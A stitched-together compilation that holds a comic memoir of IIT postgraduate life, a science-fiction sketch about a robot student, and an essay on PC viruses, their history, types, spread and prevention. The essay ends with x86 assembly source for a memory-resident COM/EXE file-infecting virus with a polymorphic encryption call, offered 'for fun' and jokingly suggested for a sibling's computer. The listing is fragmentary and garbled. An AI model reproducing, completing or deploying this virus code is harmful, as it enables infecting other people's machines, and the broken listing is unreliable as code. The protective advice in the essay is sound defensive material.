Looking at the sea of fresh young faces standing in what appeared to be a mile long queue, I was not a little surprised could there so many students in an M.Tech. course? I turned pleading eyes to my guide, a third semester M.Tech. man, casually leaning against a marble pillar with a disdainful look on his face. Where upon he beckoned me with one lazy finger to follow him. Right up to the top of the queue we went, shouldering aside less fortunate mortals.
He greeted the official at his desk warmly and was rewarded with a familiar nod. Like magic, several forms and papers appeared in my hand and I was soon registered, the No.1, ’numero uno’, of the thermal science class; while ordinary humans like my friend, Mahesh, who had arrived hours, may be days earlier had to content themselves waiting for hours, and then getting some un distinguished number like ten or twelve. This flair for the short cut was inculcated, I later understood, into any and every IITian worth his salt. Tutorials would be given by professors who would smilingly hand you a ream of tutorial questions and casually ask you to submit the same, next day while you stood aghast.The old IITian would take it in his stride “he was like this during B. Tech. too” one guy would enlighten us poor guys who have the incalculable misfortune (in their eyes) to have taken our B. Tech. elsewhere. And then the Alumnus would walk away with not a care in the world; while we would stand bemused by this genius who expected to find answers to 48 questions with 26 sub questions each, by the next day.
Later while you were drawing along sigh after fighting an epic battle with the questions and having managed to do them all without having to resort to psychiatric help, in saunters your old IITian; hands in pockets. “Oh by the way, old chap could you pass those tutorial sheets? You can have them back in a minute.” Later, you sit back dazed, as the efforts of a sleepless night disappear in the form of Xerox copies of your tutorial sheet into the cavernous jaws of the IITian’s bag.
You can find many students sauntering in the lawn when you come back from a sparsely attended lecture. Why didn’t you attend you ask. ”He is an old bore, why don’t you Xerox today’s notes and give it to us?” How could you not oblige such brilliant minds that can look down upon a professor with years of experience?
Take the hostels next. It is populated of creatures that emerge only for food and lock the door the moment they enter their rooms. Their names were daily called out by the professors, but silence would inevitably be the reply. ”Why don’t they come for the classes?” I once asked an old IITian “Bah! They have much better things to do.” replied that infant prodigy. ”Like what?” queried I, much intrigued by an occupation better than studying for post graduation in engineering in the most prestigious technical institution in the country. The reply shattered me. Quoth the sage “Preparing for the I.A.S.!”
Dr. Chinnaramaswamy Iyengar was bewildered. Never in his 25 years tenure as professor of IIT Delhi (Mechanical Engineering Department, Thermal Science Stream, Applied Quantum Chromodynamics Section, Hyperspace Heat Transfer Subsection, and Specialisation Picard-Iyengar Tesseracts) had he ever been confronted with such a dilemma, “But we cannot accept an incomplete application form. “Mr…., er, Miss…, I mean… “ He gazed in mute appeal at the new student, dressed nattily in the latest androgynous fashion of the year 2112.
“Just call me Yar, sir, without the appellations” said the new student.
Dr. Iyengar was appalled. A strict disciplinarian, he had always been impersonal-in his dealings with students. And now this!
His spectacles oozed down his nose. He was one of those diehards who hold old traditions dear. Nowadays, when you could install a force field generator in a single hair of your eyelashes at any ophthalmologist’s clinic by laser microsurgery, he defiantly wore his anachronism.
“I don’t mean the Hindi word sir“, The rich tenor voice was continuing pleasantly “Just part of my acronym O-YAR. Stands for Organic Yttrium Articulated Robot”
“Yes Sir!! I am part of a new secret experiment being conducted by the Non-Human Resources Development Council. I am required to register for an M.Tech course under the quality improvement Programme”.
Dr. Iyengar appeared to possess a rather limited vocabulary.
“I have no doubt sir, that you would have received a copy of the G.O. connected with my enrolment here”
Dr. Iyengar forced his grey cells to work. He remembered no G.O. But then, he thought, bureaucratic lethargy increases exponentially with its age. More than one and a half centuries after independence, Indian bureaucracy had reached colossal heights of bungling inefficiency. The extinction of bamboo in the beginning of the 22nd century was attributed by many conservationists to the Paper Mountains created by millions of smug bureaucrats at the drop of a hat. If paper had not been replaced by cheap holograms which could present the printed word on thin air as it were, no organism with cellulose in its cellular makeup would have survived.
“May I suggest sir, that you peruse this copy I have at your leisure?”
Wordlessly Dr. Iyengar accepted the hologram but his eyes remained on the features of the new student.
They were not bad features at that. Familiar as he was with anthropomorphic robots, he was nonetheless dumbfounded by the life like object he saw. Longish hair was brushed back from a broad forehead, sparking wide set eyes, an aquiline nose and a rather wide mouth over a determined chin.
Dr. Iyengar recovered the use of his vocal cords.
“Do you mean to tell me that you are …..er.., synthetic?”
“No, not at all sir, my flesh and bones and blood vessels are quite real and do function normally as in a human being. It is mainly in the central nervous system that the difference lies. It’s all made of organic chip circuitry. As you know we have never been successful in growing human nerve cells in vitro”.
Dr. Iyengar nodded. Unlike others who personify the tongue-in- cheek definition of a specialist as one who knows more and more about less and less, he took an active interest in fields other than his own. The VLSIC of the 21st century had been relegated to museums by the development of huge organic molecules which could act as diodes and transistors, thereby increasing the density of a circuit a thousand fold. A super computer of the 2010s could now be placed on a desk. And not a big desk at that.
“And your power sources?”
“I have three independent ones. The first a fusion reactor with force field plasma containment, the second ordinary metabolic processes as in living organisms but with a catalysed ATP* energy release and finally an Iqbal modified Stirling engine drawing energy from the ambient with the heat sink in hyper space. The last will be of particular interest to you I think, sir.”
Dr. Iyengar’s eyes gleamed.
“And to think I never heard of this project!”
“Well sir, the whole project was shrouded in secrecy. The Americans would have loved to get hold of something like this”.
Deprived of all its Asian born scientists and professionals, during the reverse brain drain of the 2020s, American economy and technical invincibility had collapsed like a pricked balloon. Hard core capitalism had gone the way of hard core socialism: down the drain.
* Adenosine Tri Phosphate, the chemical responsible for the release of energy from food.
The “Arab Spring” and “Occupy Wall Street” movements of the early 21st century had dealt Autocracy and heartless Capitalism, blows from which neither recovered.
The occidental was now inferior to the oriental; at least technologically. India led the world in technology. Technology! Dr. Iyengar snapped out of his reverie.
“Tell me,” he asked, “Why do you have to study? It should have been a simple thing to program all the requisite data into your memory.”
“Quite so sir, but one of the main reasons for my creation is to study the efficacy of the present higher education system and its effects on the social interactions of the student.”
“Social interactions?... Hmmm…”
The good doctor suddenly became aware of the registration form in his hands.
“But you have to fill up this column.”
“I leave it to your discretion sir; I can take care of the physical aspect by simply changing my objective reality module.”
“Oh in that case,…” Dr. Iyengar took hold of his hologram stylus and firmly ticked the box marked – “Male”.
Mohamed Iqbal Pallipurath
Long ago, you only had to worry about you (and your family) screwing up your own PC. Now you have to worry about complete strangers doing it for you. Owing to the nature of how software works, it is possible to write programs that can modify or create other programs--a compiler is one example. It is also easy to duplicate a piece of code and write it to various locations on a hard disk. It did not take very long for some ingenious hackers to figure out that they could write pieces of code that would do these things and more, without the user's knowledge or consent, and the virus "industry" was born.
A (possibly apocryphal) story says that the world’s first virus written was "Brain" virus that emerged in 1986 from Pakistan. The creators were two brothers, Amjad Farooq Alvi and Basit Farooq Alvi, who ran a software company in Lahore, Pakistan, called Brain Computer Services.
Brain Computer Services developed proprietary software and, like most software publishers, they were victim to rampant software piracy as people copied their programs illegally. To punish these software pirates, the two brothers created the Pakistani/Brain virus, which would infect any computer using an illegal copy of their program. The virus left a message containing the phone number of the brothers’ PC repair shop. To remove the virus from their computer, software pirates would have to call “Brain Computer Services” for help. Eventually some victim brought the Pakistani/Brain virus to America, where it promptly made its presence known in 1987 at places such as George Washington University and the University of Delaware, infecting thousands of computers in classrooms, laboratories, and dormitories. The Alvi brothers say they stopped selling contaminated software sometime in 1987, satisfied that they had taught the software pirates a lesson. Nobody knows precisely how much damage their little experiment caused, but everyone agrees that it was an impressive piece of work. "This virus is elegant," says John McAfee of the InterPath computer company, expressing grudging respect for its creator. "I don't admire what he did, but I admire the way he did it. He may be the best virus designer the world has ever seen."
While viruses have been around almost as long as the PC, they have only recently, within the last few years, metamorphosed from minor inconvenience to serious menace. There are several reasons why they are now much more of a problem: many more computers are in use, and there are many more ways of sharing information between them. Advances such as the Internet have made it possible for computer viruses to spread much more quickly than ever before, and more computer users in general-especially those that don't understand what viruses are--have given virus writers a much richer set of targets.
Viruses are a fascinating and involved topic, and one that is an entire subject unto itself. In this section, I take a basic look at viruses, what they are, where they come from, how they spread and how to protect yourself from them. For much more information, I would suggest that you consult the references below.
Computer viruses are well named: their behavior bears a striking resemblance to how real-life biological viruses work, and the ways of dealing with them can be quite similar as well! A biological virus infects a host (a creature), using it as a vehicle for life. It reproduces rapidly; one of its primary goals is to spread to other creatures and thereby perpetuate itself. It also tends to move from person to person and eventually, months later, comes back to reinfect the same people again.
Computer viruses work in the same way, including the way they tend to go around from PC to PC and then occasionally return to reinfect months or years later (in fact, there are viruses that have been circulating around since the early days of the PC that, thanks to backward compatibility, still "run" on the latest machines). Computer viruses however, differ from biological viruses in several ways: they are synthetic for one thing, and they are easier to get rid of. In addition, biological viruses cause symptoms as a side effect; they do not exist to make people miserable. Most computer viruses do exist specifically to make people miserable.
Definition of Viruses and Virus-Like Programs
The exact definition of what constitutes a virus is a matter of some debate amongst the experts in the field. Mostly the arguments are over nuances of where to draw the line between "strict" viruses and similar programs that can best be called virus-like. In a practical sense, these subtle distinctions are not very important, because whether a particular program is a "true" virus or not and by what definition does not generally matter much to someone who has one infecting their disk! Therefore, it is best just to define viruses based on the generally accepted standards of the industry, and carry on.
Here is the definition I use: A computer virus is a program that attaches to other pieces of code, so that when the user tries to run the original they also unintentionally run the virus code as well. The virus code is designed to replicate itself and "infect" other programs, possibly in a modified form, and may exhibit other behavior as well. Therefore, in order to be a virus, the program must have the ability to do all of the following:
- Run without the user wanting it to and/or create effects that the programmer wants but that the user did not want or request.
- Have the ability to "infect" or modify other files or disk structures.
- Replicate itself so it can spread to other files or systems.
Note one thing that is not on this list: a virus does not necessarily have to trash your hard drive or exhibit other malicious behavior, in order to be a virus. While many viruses do damage files and disk structures, many are just nuisances or exhibit "prank" behavior such as playing music on the PC speaker or putting funny phrases on the screen when the system is booted. However, the risk of damage from viruses is substantial. Many can cause serious data loss; sometimes the virus writer does not even intend some of the effects that the virus has (viruses can have bugs!) Damage can also occur from program files being altered when the virus infects them-often, it is not possible to repair the damage, even when the virus is removed.
There are many different types of viruses. In addition to the classical virus, there are other virus-like programs that are similar to viruses in terms of how they work and what they do, but differ from them in one or more respect:
- Worms: A worm is a program that is self-contained and when run, has the ability to spread itself to other systems. In essence, a worm is a virus that doesn't infect other programs. Instead, it acts independently, seeking to spread to other computers connected to its current host. Since they do not infect programs or boot sectors, they are much less frequently encountered than viruses. They tend to spread over network connections. They can have other undesirable effects when run.
- Trojan Horses: A Trojan horse is any program that, once run, does something that the user doesn't want or request. The program does not necessarily infect other files or spread to other systems. It is the generic term to refer to any software that is intentionally coded to do something other than what it is supposed to. Some people think of viruses as a special form of trojan horse: one that can infect other files (thus turning them into trojan horses) and duplicate itself. Trojan horses are sometimes just called "trojans" for short.
- Bugs: A bug is an error in a program. It is included here even though it really is not in the same class as viruses and trojans, because it is similar to a trojan horse in that it causes behavior other than what the user wanted. The difference of course is that with a bug, the aberrant behavior is unintentional! With a trojan horse the author is doing it on purpose.
- Droppers: A dropper is a program designed to install or deliver a virus or trojan horse onto a target system. The dropper is specially designed to avoid detection by standard virus detection programs, because the virus is specially encrypted so that the dropper itself does not appear to the virus scanners like a regular infected program file would. In some ways, a dropper is like a "virus egg", waiting to be hatched. They are uncommon.
- Virus Impostors (Joke Programs): Some oh-so-clever programmers have devised cute programs that mimic the effects of true viruses when they are run. These are not considered viruses themselves, or even trojan horses, because here the user of the file knows that the program is going to do something strange. These are often installed by humor-impaired people on coworkers' PCs to drive them nuts. Ha ha.
There are three major types of viruses, each very different from the other. Of course, there are many subcategories within each group as well (and to make matters worse, there are virus hoaxes to confuse the issue):
- Boot Sector Infectors: Also sometimes called boot record infectors, system viruses, or boot viruses, these programs attack the vulnerable boot program that is stored on every bootable floppy disk or hard disk. This code is executed by the system when the PC is started up, making it a juicy target for virus writers: by installing themselves here they guarantee that their code will be executed whenever the system is started up, giving them full control over the system to do what they wish. They are spread most commonly through infected bootable floppy disks.
- File Infectors: These viruses directly attack and modify program files, which are usually .EXE or .COM files. When the program is run, the virus executes and does whatever it wants to do. Usually it loads itself into memory and waits for a trigger to find and infect other program files. These viruses are commonly spread through infected floppy disks, over networks, and over the Internet.
- Macro Viruses: The newest type of virus, these clever programs make use of the built-in programming languages in popular programs such as Microsoft Word and Microsoft Excel. These programs allow users to create programs that automate tasks, called macros. As the macro languages have become more powerful, virus writers have created malevolent macros that, when opened unwittingly, duplicate themselves into other documents and spread just like a conventional virus would. These programs can cause just as much damage as regular viruses, despite the fact that they are very different: regular viruses are low-level machine language programs, while macro viruses are actually high-level interpreted BASIC programs! The most common type of macro virus right now infects Microsoft Word documents.
As time goes on and virus writers get cleverer, new strains and variations show up. For example, there are some viruses, termed multipartite, that infect both boot sectors and files. There are some things that are fairly universal, however: a virus is a program, and it therefore can only exist in a form that allows it to be executed as a program by the PC in some form. This means that, in general, viruses cannot exist in data files. There are a lot of myths about viruses that infect graphics pictures or email messages or recipe files. Just remember that a virus cannot do anything unless you run it, so unless you have a PC that can execute pictures or email messages somehow, it is doubtful that these can contain a virus. (Of course, you can have a virus in a program that is attached to an email message. But here again, this is a program, just in encoded form.)
There are also now viruses that target the BIOS program stored on the motherboard, on systems that employ flash BIOS. These viruses can overwrite the system BIOS program and leave the PC in an unbootable state. (Some motherboards have jumpers that you can set to disable BIOS flashing except when you want to do it.)
Here is the general way that viruses work:
- An infected program is run. This is either a program file (in the case of a file-infecting virus) or a boot sector program at boot time. In the case of a Microsoft Word document, the virus can be activated as soon as the document that contains it is opened for reading within Microsoft Word. If the "NORMAL.DOT" document template is infected (and this is the most common target of these viruses) then the virus may be activated as soon as Microsoft Word is started up.
- The infected program has been modified so that instead of the proper code running, the virus code runs instead. This is usually done by the virus modifying the first few instructions to "jump" to where the virus code is stored. The virus code then begins to execute.
- The virus code becomes active and takes control of the PC. There are two ways that a virus will behave when it is run: direct-action viruses will immediately execute, often seeking other programs to infect and/or exhibiting whatever other possibly malicious behavior their author coded into them. Many file-infector viruses are direct-action. In contrast, memory-resident viruses don't do anything immediately; they load themselves into memory and wait for a triggering event that will cause them to "act". Many file infectors and all boot infectors do this (boot infectors have to become memory resident, because at the time they are executed the system is just starting up and there is not that much "interesting" for them to do immediately.)
- What exactly the virus does depends on what the virus is written to do. Their primary goals however include replication and spreading, so viruses will generally search for new targets that they can infect. For example, a boot sector virus will attempt to install itself on hard disks or floppy disks that it finds in the system. File infectors may stay in memory and look for programs being run that they can target for infection.
- "Malevolent" viruses that damage files or wreak havoc in other ways will often act on triggers. There are viruses that will only activate on particular days of the year (such as the infamous "Friday the 13th"), or act randomly, say, deleting a file every eighth time they are run. Some viruses do nothing other than trying to maximize their own infection to as many files and systems as possible.
As virus authors have become more "creative", they have devised increasingly more sophisticated viruses that work in different ways. In particular, newer viruses get smarter and smarter in avoiding detection. In most cases, these viruses are not necessarily more hazardous than older ones, but they are harder to detect and remove using anti-virus software. Some of the tricks that authors use:
- Polymorphing: Some viruses are designed so that each time they infect their appearance and size changes. These thwart simplistic virus scanners that look for predefined patterns and make detection much more difficult.
- Stealth: A stealth virus actively hides the changes it has made to the hard disk so that it appears that it has not infected the system. For example, a file infector might stay memory resident and misreport the size of infected files so they don't appear to be infected. Boot sector viruses can trap attempts to read the boot sector and return forged data that makes them appear to be "clean".
- Disassembly Protection: Many newer viruses are designed using programming tricks that make them hard to disassemble (the process of interpreting the code into a form that is easier to analyze so that the virus can be combated.)
- Directory Viruses: Some viruses now seek to avoid detection by avoiding modifying the file they infect directly. Instead, they change the cluster pointer in the directory entry of the file to point to the virus instead of the actual program. The virus runs its code and then executes the target program afterwards. The virus is thus able to "infect" the program without actually modifying it.
Now let us discuss common methods of virus infection and some steps you can take to avoid them. Still, it makes sense to bear in mind the following general rules of "digital hygiene":
- Garbage In, Garbage Out: This is one of those old computer aphorisms that is so true in many cases (in both the computer world and elsewhere). The only way to get a virus infection is by allowing infected software into the PC. Viruses cannot spontaneously generate on a PC.
- More Connections Means More Risk: The more different ways you interface your PC to others, the more chances there are of a virus making its way onto your system. A standalone PC with a stable software base has much less chance of becoming infected by a virus than a PC shared by multiple users that is connected to a large network.
- Piracy Has Its Price: While infections from store-bought software happen, they are extremely rare. On the other hand, software that is shared from PC to PC, or worse is obtained from illegal sources, has a much higher chance of being infected.
- Use Backups: If you have the ability and the discipline to maintain multiple backups of your system over a period of time, this is a useful "last ditch" defense against virus infection. It does not really prevent viruses from striking your system, but it can save you in the event that you are unlucky and you suffer data loss due to viruses. (Note that you need to have a reasonably long retention period in your backup cycle for this to work. If you just backup your entire disk onto the same backup tape once every week, then you only have one week at most to catch any given virus before you end up copying it onto the backup tape as well.)
- Control Access to Your PC: You should be careful about who uses your system. Generally speaking, a PC in an open area used by dozens of people will develop viruses far more often than one on an individual's desk. The reasons are obvious. To prevent the casual use of a PC in an office environment, consider using a boot password (just remember to write down the password in more than one safe place. If you lose it, you will have a problem.
Floppy disks, despite the fact that they are now quite obsolete technology, are still probably the number one way that viruses are spread (although I think the Internet and networking in general are overtaking them quickly). Floppies are a major source of virus infection for two main reasons: first, because they are used to carry files from PC to PC, and second, because they are the only way that boot sector infector viruses can be transmitted. Nowadays this distinction goes to CDs
When looking at file infector viruses, floppies can transmit these to other PCs when you copy an infected program from the floppy to the hard disk of the destination PC. When the copy is executed, the virus will be loaded into memory and then will be able to infect the hard disk and other programs on it. In this way, however, floppies are no different than many other transmission methods for regular files, such as networks, the Internet, or new software installations. Other removable media such as Zip disks can also unwittingly be used to convey infected files from one machine to another.
The more important way that floppies are responsible for virus transmission is that they are the primary vehicle for boot sector infector viruses. The reason is simple: most of these viruses are designed to infect boot sectors, and they use the boot process to get themselves into memory. Floppies are the ideal vehicle for transmitting these viruses because each one has a boot sector, and most systems try to boot them. When you download a new program from the Internet, you may run it and infect the system with a file infector virus, but you do not download boot sectors! However, each time you put a floppy disk in your PC, you have the potential to introduce any boot sector viruses on it to your hard disk's boot sector(s).
A common misconception is that only bootable floppy disks--that is, ones that contain operating system files as opposed to ones that say "Non-system disk or disk error - Replace and press any key when ready" when you try to boot them--can carry boot sector viruses. This is not true, and is probably responsible to some degree for the spread of boot sector viruses. Every formatted floppy disk has boot sector code in it, and that code is run whenever you attempt to boot from the disk, whether the system is actually able to boot from it or not.
In fact, the very message "Non-system disk or disk error..." is printed on the screen by the "dummy" boot sector code in a non-bootable disk. If that code is infected with a virus, the virus will likely be in memory as soon as you see that message. A common way that boot viruses spread is to infect a non-bootable disk. Someone takes it to a PC and puts it in the drive for whatever reason. They turn the PC off. Later, they turn it on, forgetting to eject the floppy. The system attempts to boot the floppy. It fails, but the virus is loaded into memory, and infects the hard disk's boot sector. At this point the damage is done, even if the floppy is later removed.
Taking steps to avoid infection by floppy/CD disks is absolutely critical for anyone who is serious about preventing virus problems. Some combination of the following techniques is generally recommended. Note that most of these protect the hard disk from infestation by an infected floppy disk, while only some protect the floppy disks from infestation when used in a system that already has a virus on its hard disk:
- Scanning: Scanning floppies and CDs before you first put them into the PC is a good way of protecting yourself from the spread of viruses from other systems. This does take a fair bit of discipline, so it is often not enough of a measure if taken solely by itself. I consider scanning floppies to be a preventive measure (as opposed to just detection) because it can prevent the infestation of the user's hard disk, which is the key.
- Remove Disks from the Floppy/CD Drive before Rebooting: This is a good protective measure against viruses being transmitted to your PC. Unfortunately, it is very hard to remember to do: I forget to do this at least once a month (I scan for viruses after this happens, just in case.) Some antivirus scanning programs, such as later versions of the Norton Antivirus, include protection programs that will scan the boot sector of any disk in the floppy drive when you shut down Windows, for example. This of course is absolutely no help in the event of a power failure (spontaneous reboot) or hardware reset.
- Disabling Floppy/CD Booting: Probably the best, simplest protection against infection by floppy disk is to use the BIOS settings in your PC to disable booting from the floppy disk drive. Virtually all newer PCs now have the ability to specify that the hard disk be examined first for a boot drive, before the floppy. Doing this virtually eliminates the chances of a floppy-based boot sector virus getting into your machine by accident. It does have some disadvantages however, relating to convenience. Some operating systems install by booting from a floppy disk. In addition, doing a full virus scan and removal usually requires booting from a known clean floppy, which would mean having to reboot, going into BIOS setup, and changing the boot sequence to look at the floppy disk first once more.
- BIOS Virus Protection: Many BIOSes include an option that is usually called "virus protection". While BIOSes do not know anything about viruses, what this option does, when enabled, is to catch and report disk writes to the system's boot sector area. If a virus tries to write to this area, it will be caught by the BIOS and then the user will be asked if they want to allow the write to proceed. This can protect against boot sector viruses; be aware, however, that there are many legitimate utility programs that work with the boot sector, and they will trigger this message as well. It can get annoying after a while if you use disk utilities a great deal.
- Use a Boot Password: If you have difficulty remembering to remove floppy disks before rebooting, and you do not want to disable booting first from the floppy disk, consider setting up a boot password if your system supports it (most do). This will cause the system to wait for a password to be entered before it will boot, which, aside from its security benefits, will act as a reminder to you to remove the disk from your floppy drive before booting.
- Write-Protect Tabs: Floppy disks can be write-protected, by covering the notch on a 5.25" disk, or using the plastic slider on a 3.5" disk. This is the only effective way of preventing the spread of viruses to a floppy disk. The write-protection is a hardware signal sent by the drive, and cannot be ignored or overridden by a virus (compare to the "read only" file attribute, which is a bit in a directory that can just be ignored by a virus that wants to ignore it). It is strongly recommended that all emergency boot disks be write-protected.
- "Abstinence": While an extreme position, and one that is not very common, a valid defense against floppy disk virus infestation is not to use floppy disks at all. This is usually overkill, but I have heard of floppies being removed entirely from systems (for both virus protection and security reasons). I do not recommend this, as one of the immediate disadvantages is that you lose the ability to boot with a clean boot disk to aid in virus detection and removal if your hard disk ever becomes infected. A more moderate version of abstinence is to use your own floppy, but just abstain from sharing floppies with floppy drives in other systems. This is a more reasonable idea, although it too requires some discipline.
Infection Over PC Networks
Virus infection over PC networks is becoming an increasingly difficult problem. As with any shared medium, a network provides the ability for users to share files, and where files are shared, viruses can be shared. In practice, virus infection via local area networks is still not that common; one simple reason is that boot sector viruses cannot be readily spread via a network, and boot viruses are a large percentage of the dangerous viruses out there.
There are a couple of things that you can do to minimize your chances of contracting a virus over a local network:
- Control Your Connections: Carefully control who has access to your PC's local hard disk. Put an access password on any shared resources that allow others to write to your disk; do not just open up your disk to writing by anyone on the network. If possible, set up your system so that write access to your disk is limited to a single directory or directory structure. This makes it easy to scan for viruses in incoming files.
- Scanning: Make a habit of scanning all new possible virus-containing files that are put on your PC over the network. This is easier if you limit the number of places that new files can be placed on your machine (see above). Do not run any programs that are placed into shared areas without scanning them first.
Infection Via the Internet
Virus infection via files downloaded from the Internet is probably the fastest growing area of infection, paralleling the fast growth of Internet use itself. More and more companies are making software available over the Net, and for the most part getting a new driver or a software patch from reputable companies is safe, as long as you are sure that you are getting the file from an official source. However, the Net is also filled with "unofficial" software, pirated programs, and low-budget software from questionable sources, and these may intentionally or unintentionally be infected with viruses.
Here, as in other places, you need to let common sense be your guide. The following precautions will be of assistance:
- Obtain Software From Reputable Sources: Downloading a service pack for Windows NT from Microsoft's web site is a very different proposition from downloading a freeware disk utility you've never heard of before from "Mack's Hacks and Cracks", some web site you read about on a USEnet newsgroup. There are many reputable web sites that distribute excellent quality shareware and freeware software, and almost all of it is virus-free, but you still need to be more diligent about files obtained from higher-risk sources.
Warning: There are also sources of pirated software on the Internet, if you know where to look for them. Using these "services", aside from being of questionable character and usually illegal, depending on where you live, is also dangerous to your PC. These illicit sources of programs have a much higher incidence of viruses than legally obtained software.
- Scan, Scan, and Scan Some More: No downloaded executable files are ever run on my PC without first being scanned with an antivirus program. This is the only way to be (reasonably) sure that what you have obtained is safe to use.
- Beware of Automatic Downloads: Be careful when using programs that download and run update patches and programs automatically. While in most cases these will not be a problem, having downloaded software run automatically without virus checking exposes you to potential problems in my opinion.
Infection Through Software Installation
- Many people don't realize this, but viruses are sometimes spread through software distribution. While usually this happens with low-budget freeware or shareware products, it is certainly not unheard of for viruses to be found even on commercial, shrink-wrapped software! This is very rare, and I don't usually bother scanning commercially-purchased software for viruses, although some people do. Other than scanning, there is not much you can do about this tiny risk (well, you could decide to never buy any software, I suppose.)
Symptoms of Virus Infection
There is usually no simple way to know when you have a virus. I should rephrase this: some viruses exhibit behavior that tell you immediately that they are on your system, but so many viruses mimic other system problems that it is most accurate to say "there is usually no way to rule out a virus as a possible cause of strange software or system behavior on your PC".
Virus writers are usually pranksters whose software is normally designed to avoid detection, and to cause mischief. Both of these mean that viruses are designed to mimic natural processes in your PC so that you do not think you have an infection. They often make your system behave in strange ways, but in strange ways that could also be the result of an application bug, driver glitch, or even a hardware problem. For example, a virus can make strange things print on the screen--but so can a driver problem, or a bad BIOS setting. A virus can make the system spontaneously reboot--but so can a bad power supply, or an operating system problem, or an overheating processor.
Since viruses are so common, and they can exhibit so many strange types of behavior, and so many of these behaviors are similar to other, real hardware and software problems, I always recommend a virus scan as the first step in troubleshooting a hardware or software problem. Until virus infection has been cleared as a potential source of problems, it does not make much sense to look for a real hardware or software cause. For example, many symptoms of resource conflicts are similar to the symptoms of virus infection. The following are the sorts of problems that are usually real system or component problems, but can also be a result of virus trickery (this list is not exhaustive; virus writers are very creative):
- Spontaneous system reboots.
- System crashes/hangups.
- Application crashes.
- Sound problems with the speaker or sound card.
- Seemingly random glitches on the screen.
- Corrupted hard disk data.
- Partitions that seem to "disappear".
- System slowdowns.
- Hard disks that won't boot.
There are some types of strange system behavior that hint much more strongly that a virus is around and responsible for the problem. Seeing any of the following types of behavior on your system should send you scrambling for your clean antivirus boot disks, as they are not normally caused by legitimate hardware or software problems:
- Strange Messages: If you boot your PC some day and are greeted with the message "Your PC is now Stoned!", then you can bet your booties that you have a virus. Oddball messages on the screen usually are viruses (although some real system messages are somewhat strange too, such as "No ROM BASIC - System Halted").
- Odd Text Games: If you type at the command prompt in DOS and the letters start moving around on the screen in strange patterns, or each letter you type is changing to a random color, or ASCII graphics move around the screen "eating" other characters, or anything strange like that, chances are high that you have a virus.
- Music and Strange Sounds: Viruses have been known to generate music or odd tones on the system speaker.
- Changing File Sizes or Time/Date Stamps: File-infector viruses commonly increase the size of files that they infect, and some can affect date/time stamps as well. There is normally no ordinary reason for an executable file to increase in size (unless you apply a patch to the program or something similar.) Time/date stamps are more easily changed, but still normally remain static over the life of a program.
- Disappearing Files: If you used a program yesterday and now it isn't there any more, and you're sure that you didn't delete it, a virus may have deleted it for you.
Virus Scanning and Antivirus Software
Careful preventive measures can greatly reduce the chances of ever catching a virus on your PC, but viruses are wily critters that can occasionally evade all but the best defenses. For this reason, routine virus detection is a necessity for the modern PC. The programs that do this work are virus detection programs, usually called virus scanners or antivirus utilities. Some of the widely advertised antivirus programs take up a lot of PC resources and slow down the system badly especially during scanning but a few are elegant and effective such as Kaspersky and BitDefender, though few people have heard of them.
For fun, here is a sample virus program. (Careful…if you compile it with an assembler or SoftIce, make sure you have a good antivirus installed-or run it in your nosy brother’s computer.)
; �iqsoft Sample Virus v0.1 - (c)1995 �iqsoft
;[Note: This is a Simplex-CE virus written in my young and naughty days]
; � Infects COM and EXE when executed.
; � COM Infection marker: first byte is STI
; � EXE infection marker: Checksum in header not equal to 0.
; � Time/Date do not change
; � Read-only and hidden files will be infected, and attributes restored.
; � Virus installs its own critical error handler
; The text "[�iqu Sample Virus v0.1�]" is visible within the virus code.
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
signal equ 0FA45h
buf_size equ 250
vice_size equ 1572+buf_size
virus_size equ (offset vend-offset start)+VICE_SIZE
call nx ; get relative offset
nx: pop bp
sub bp,offset nx
push ds es
mov ax,signal ; are we memory resident?
jz no_install ; if carry then we are
mov ax,ds ; PSP segment
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
cmp byte ptr ds: ,'Z' ; Is this the last MCB in chain?
sub word ptr ds: ,((virus_size+1023)/1024)*64*2 ; alloc MCB
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
rep movsw ; copy code to new seg
mov ds,ax ; null ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
pop es ds ; restore ES DS
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
mov ax,100h ; jump back to 100h
mov cx,ds ; calc. real CS
add word ptr cs:[exe_jump+2+bp],cx
int 3 ; fix prefetch
exe_jump dd 0
is_exe db 0
; Infection routine - called from INT 21h handler.
xor ax,ax ; null ES
lds ax,es:[24h*4] ; get INT 24h vector
mov cs:old_24_off,ax ; save it
mov es:[24h*4+2],cs ; install our handler
mov es:[24h*4],offset new_24
push es ; we'll need it later
mov ax,4300h ; get phile attribute
mov ax,4301h ; null attribs
push ax cx ; save AX-call/CX-attrib
mov ax,3d02h ; open the file
mov bx,ax ; get handle
mov ah,3fh ; Read first bytes of file
cmp word ptr org_bytes,'ZM'
cmp byte ptr org_bytes,0FBh ; STI?
mov ax,5700h ; get time/date
push cx dx
push ax ; AX=end of file
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor/
push di ; encrypted code. (at heap)
mov cx,virus_size ; CX=virus size
mov dx,ax ; DX=EOF offset
add dx,100h ; DX=offset decrypter will run from
mov al,00001111b ; jmps,anti-tbscan, garbage, no CS:
call _vice ; call engine!
pop ax ; restore COM file size
sub ax,4 ; calculate jmp offset
mov word ptr new_jmp+1,ax
pop dx cx ; pop date/time
mov ax,5701h ; restore the mother f**kers
pop cx ax ; restore attrib
pop es ; ES=0
lds ax,dword ptr old_24_off ; restore sh*tty DOS error handler
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
cmp byte ptr exe_header[18h],52h ; pklite'd?
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
mov ah,2ch ; grab a random number
mov word ptr exe_header[12h],dx ; mark that it's us
les ax,dword ptr exe_header+14h ; Save old entry point
mov word ptr ds:exe_jump, ax
mov word ptr ds:exe_jump+2, es
push dx ax ; save file size DX:AX
mov bx, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *16
shl bx,cl ; ^by shifting one byte
sub ax,bx ; get actual file size-header
mov cx,10h ; divide AX/CX rDX
mov word ptr exe_header+14h,dx
mov word ptr exe_header+16h,ax
pop ax ; AX:DX file size
mov cx,virus_size+10h ; calc. new size
